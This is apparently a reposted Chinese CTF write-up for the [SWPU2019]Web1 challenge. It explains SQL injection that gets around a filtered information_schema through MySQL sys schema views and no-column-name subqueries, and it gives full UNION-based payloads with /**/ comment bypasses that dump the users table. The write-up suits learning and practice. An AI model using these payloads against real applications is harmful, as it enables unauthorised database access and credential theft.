zoukankan      html  css  js  c++  java
  • [SWPU2019]Web1

    0x00 知识点

    bypass information_schema

    参考链接:

    https://www.anquanke.com/post/id/193512

    进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?

    information_schema:

    简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

    ​ 在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

    MySQL5.7的新特性:

    由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

    mysql默认是关闭InnoDB存储引擎的

    注入中在mysql默认情况下就可以替代information_schema库的方法

    schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
    

    schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息

    想通过注入获取到没有自增主键的表的数据怎么办?

    schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
    

    payload:

     schema_auto_increment_columns 
     ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
    
    schema_table_statistics_with_buffer 
    ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
    

    获取字段名

    获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
    

    获取次列及后续列名

    ?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
    

    限制:
    mysql ≥ 5.7版本

    般要超级管理员才可以访问sys

    2:无列名注入

    参考链接:
    https://www.jianshu.com/p/6eba3370cfab

    在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
    在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
    正常查询:

    使用union查询:

    就可以继续使用数字来对应列,如2对应了表里面的用户名:

    当  ` 不能使用的时候,使用别名来代替:

    反单引号表示列名或者表名

    在注入中查询多个列:

    语句
    一般都是:

    (select `2` from (select 1,2,3 union select * from table_name)a)  //前提是要知道表名 
    

    ((select c from (select 1,2,3 c union select * from users)b))    1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
    

    0x01解题

    这是一个留言板的二次注入

    登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。

    题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号

    本题在但是比赛中
    bypass information_schema
    是利用的
     sys.schema_auto_increment_columns 库来进行查询
    导致网上很多wp都是这样写的。。
    实际上本题无法使用

    buuoj的平台没有 sys.schema_auto_increment_columns 这个库
    而且一般要超级管理员才可以访问sys

    所以一般还可以用这个方法

    在buuctf环境中这个也不行
    还有一种方法:

    前提是users表存在
    但是这个方法也不行 ,polygon和lingstring被过滤
    那么我们看似有多种解法,其实BUU环境下这个题目我们只能进行无列名注入

    首先,我们先确定列数:
    1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/

    接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位
    注意,在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试。。最后发现users里有三列

    我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
    这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果

    -1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    

    直接查询b列试试

    -1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
    

    参考链接:
    https://www.cnblogs.com/tlbjiayou/p/12014926.html

  • 相关阅读:
    笔试面试过程中常考的简单题目
    MySQL字符串函数:字符串截取总结
    克隆到新的datatale中
    C#后台调用js代码和其他页面(弹窗)
    asp.net中如何使一个button先执行后台的Click再执行javascript的onclick?
    table按某列进行分组
    table里有两个input,选中只选中一个
    ts和js的区别
    es6-es7-es10
    ECMAScript 6(简称:ES6) 和 JavaScript 到底是什么关系?
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12241499.html
Copyright © 2011-2022 走看看